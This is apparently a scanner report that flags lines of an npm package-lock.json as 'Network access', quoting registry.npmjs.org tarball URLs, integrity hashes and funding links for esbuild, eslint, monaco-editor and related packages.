"node_modules/@esbuild/android-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - Network accessline 386
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", - Network accessline 387
"resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", - Network accessline 402
"node_modules/@esbuild/darwin-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - Network accessline 403
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", - Network accessline 404
"resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", - Network accessline 419
"node_modules/@esbuild/darwin-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - Network accessline 420
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", - Network accessline 421
"resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", - Network accessline 436
"node_modules/@esbuild/freebsd-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - Network accessline 437
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", - Network accessline 438
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", - Network accessline 453
"node_modules/@esbuild/freebsd-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - Network accessline 454
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", - Network accessline 455
"resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", - Network accessline 470
"node_modules/@esbuild/linux-arm": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - Network accessline 471
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", - Network accessline 472
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", - Network accessline 487
"node_modules/@esbuild/linux-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - Network accessline 488
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", - Network accessline 489
"resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", - Network accessline 504
"node_modules/@esbuild/linux-ia32": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - Network accessline 505
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", - Network accessline 506
"resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", - Network accessline 521
"node_modules/@esbuild/linux-loong64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - Network accessline 522
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", - Network accessline 523
"resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", - Network accessline 538
"node_modules/@esbuild/linux-mips64el": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - Network accessline 539
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", - Network accessline 540
"resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", - Network accessline 555
"node_modules/@esbuild/linux-ppc64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - Network accessline 556
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", - Network accessline 557
"resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", - Network accessline 572
"node_modules/@esbuild/linux-riscv64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - Network accessline 573
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", - Network accessline 574
"resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", - Network accessline 589
"node_modules/@esbuild/linux-s390x": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - Network accessline 590
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", - Network accessline 591
"resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", - Network accessline 606
"node_modules/@esbuild/linux-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - Network accessline 607
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", - Network accessline 608
"resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", - Network accessline 623
"node_modules/@esbuild/netbsd-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - Network accessline 624
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", - Network accessline 625
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", - Network accessline 640
"node_modules/@esbuild/netbsd-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - Network accessline 641
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", - Network accessline 642
"resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", - Network accessline 657
"node_modules/@esbuild/openbsd-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - Network accessline 658
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", - Network accessline 659
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", - Network accessline 674
"node_modules/@esbuild/openbsd-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - Network accessline 675
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", - Network accessline 676
"resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", - Network accessline 691
"node_modules/@esbuild/openharmony-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - Network accessline 692
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdA - Network accessline 693
"resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", - Network accessline 708
"node_modules/@esbuild/sunos-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - Network accessline 709
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", - Network accessline 710
"resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", - Network accessline 725
"node_modules/@esbuild/win32-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - Network accessline 726
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", - Network accessline 727
"resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", - Network accessline 742
"node_modules/@esbuild/win32-ia32": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - Network accessline 743
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", - Network accessline 744
"resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", - Network accessline 759
"node_modules/@esbuild/win32-x64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - Network accessline 760
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", - Network accessline 761
"resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", - Network accessline 776
"node_modules/@eslint-community/eslint-utils": { "version": "4.9.1", "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", - Network accessline 777
"version": "4.9.1", "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==" - Network accessline 778
"resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", - Network accessline 787
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 788
"funding": { "url": "https://opencollective.com/eslint" }, - Network accessline 789
"url": "https://opencollective.com/eslint" - Network accessline 795
"node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { "version": "3.4.3", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - Network accessline 796
"version": "3.4.3", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - Network accessline 797
"resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - Network accessline 803
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 804
"funding": { "url": "https://opencollective.com/eslint" } - Network accessline 805
"url": "https://opencollective.com/eslint" - Network accessline 808
"node_modules/@eslint-community/regexpp": { "version": "4.12.2", "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - Network accessline 809
"version": "4.12.2", "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - Network accessline 810
"resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - Network accessline 818
"node_modules/@eslint/config-array": { "version": "0.21.2", "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", - Network accessline 819
"version": "0.21.2", "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", "integrity": "sha512-nJl2KGTlrf9GjLimgIru+V/mzgSK0ABCDQRvxw5BjURL7WfH5uoWmizbH7QB6MmnMBd8cIC9uceWnezL1VZWWw==", - Network accessline 820
"resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.2.tgz", - Network accessline 833
"node_modules/@eslint/config-helpers": { "version": "0.4.2", "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - Network accessline 834
"version": "0.4.2", "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - Network accessline 835
"resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - Network accessline 846
"node_modules/@eslint/core": { "version": "0.17.0", "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - Network accessline 847
"version": "0.17.0", "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - Network accessline 848
"resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - Network accessline 859
"node_modules/@eslint/eslintrc": { "version": "3.3.5", "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz", - Network accessline 860
"version": "3.3.5", "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz", "integrity": "sha512-4IlJx0X0qftVsN5E+/vGujTRIFtwuLbNsVUe7TO6zYPDR1O6nFwvwhIKEKSrl6dZchmYBITazxKoUYOjdtjlRg==", - Network accessline 861
"resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.5.tgz", - Network accessline 878
}, "funding": { "url": "https://opencollective.com/eslint" - Network accessline 879
"funding": { "url": "https://opencollective.com/eslint" } - Network accessline 880
"url": "https://opencollective.com/eslint" - Network accessline 883
"node_modules/@eslint/eslintrc/node_modules/globals": { "version": "14.0.0", "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - Network accessline 884
"version": "14.0.0", "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==", - Network accessline 885
"resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz", - Network accessline 891
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 892
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 893
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 896
"node_modules/@eslint/js": { "version": "9.39.4", "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz", - Network accessline 897
"version": "9.39.4", "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz", "integrity": "sha512-nE7DEIchvtiFTwBw4Lfbu59PG+kCofhjsKaCWzxTpt4lfRjRMqG6uMBzKXuEcyXhOHoUp9riAm7/aWYGhXZ9cw==", - Network accessline 898
"resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.4.tgz", - Network accessline 904
}, "funding": { "url": "https://eslint.org/donate" - Network accessline 905
"funding": { "url": "https://eslint.org/donate" } - Network accessline 906
"url": "https://eslint.org/donate" - Network accessline 909
"node_modules/@eslint/object-schema": { "version": "2.1.7", "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - Network accessline 910
"version": "2.1.7", "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - Network accessline 911
"resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - Network accessline 919
"node_modules/@eslint/plugin-kit": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - Network accessline 920
"version": "0.4.1", "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - Network accessline 921
"resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - Network accessline 933
"node_modules/@humanfs/core": { "version": "0.19.1", "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - Network accessline 934
"version": "0.19.1", "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", - Network accessline 935
"resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - Network accessline 943
"node_modules/@humanfs/node": { "version": "0.16.7", "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - Network accessline 944
"version": "0.16.7", "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", - Network accessline 945
"resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - Network accessline 957
"node_modules/@humanwhocodes/module-importer": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - Network accessline 958
"version": "1.0.1", "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA - Network accessline 959
"resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - Network accessline 966
"funding": { "type": "github", "url": "https://github.com/sponsors/nzakas" - Network accessline 967
"type": "github", "url": "https://github.com/sponsors/nzakas" } - Network accessline 968
"url": "https://github.com/sponsors/nzakas" - Network accessline 971
"node_modules/@humanwhocodes/retry": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - Network accessline 972
"version": "0.4.3", "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - Network accessline 973
"resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - Network accessline 980
"funding": { "type": "github", "url": "https://github.com/sponsors/nzakas" - Network accessline 981
"type": "github", "url": "https://github.com/sponsors/nzakas" } - Network accessline 982
"url": "https://github.com/sponsors/nzakas" - Network accessline 985
"node_modules/@jridgewell/gen-mapping": { "version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - Network accessline 986
"version": "0.3.13", "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==", - Network accessline 987
"resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz", - Network accessline 996
"node_modules/@jridgewell/remapping": { "version": "2.3.5", "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - Network accessline 997
"version": "2.3.5", "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==", - Network accessline 998
"resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz", - Network accessline 1007
"node_modules/@jridgewell/resolve-uri": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 1008
"version": "3.1.2", "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - Network accessline 1009
"resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - Network accessline 1017
"node_modules/@jridgewell/sourcemap-codec": { "version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 1018
"version": "1.5.5", "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==" - Network accessline 1019
"resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - Network accessline 1024
"node_modules/@jridgewell/trace-mapping": { "version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - Network accessline 1025
"version": "0.3.31", "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", - Network accessline 1026
"resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", - Network accessline 1035
"node_modules/@monaco-editor/loader": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", - Network accessline 1036
"version": "1.7.0", "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==", - Network accessline 1037
"resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz", - Network accessline 1044
"node_modules/@monaco-editor/react": { "version": "4.7.0", "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", - Network accessline 1045
"version": "4.7.0", "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==", - Network accessline 1046
"resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz", - Network accessline 1058
"node_modules/@nodelib/fs.scandir": { "version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - Network accessline 1059
"version": "2.1.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - Network accessline 1060
"resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - Network accessline 1072
"node_modules/@nodelib/fs.stat": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - Network accessline 1073
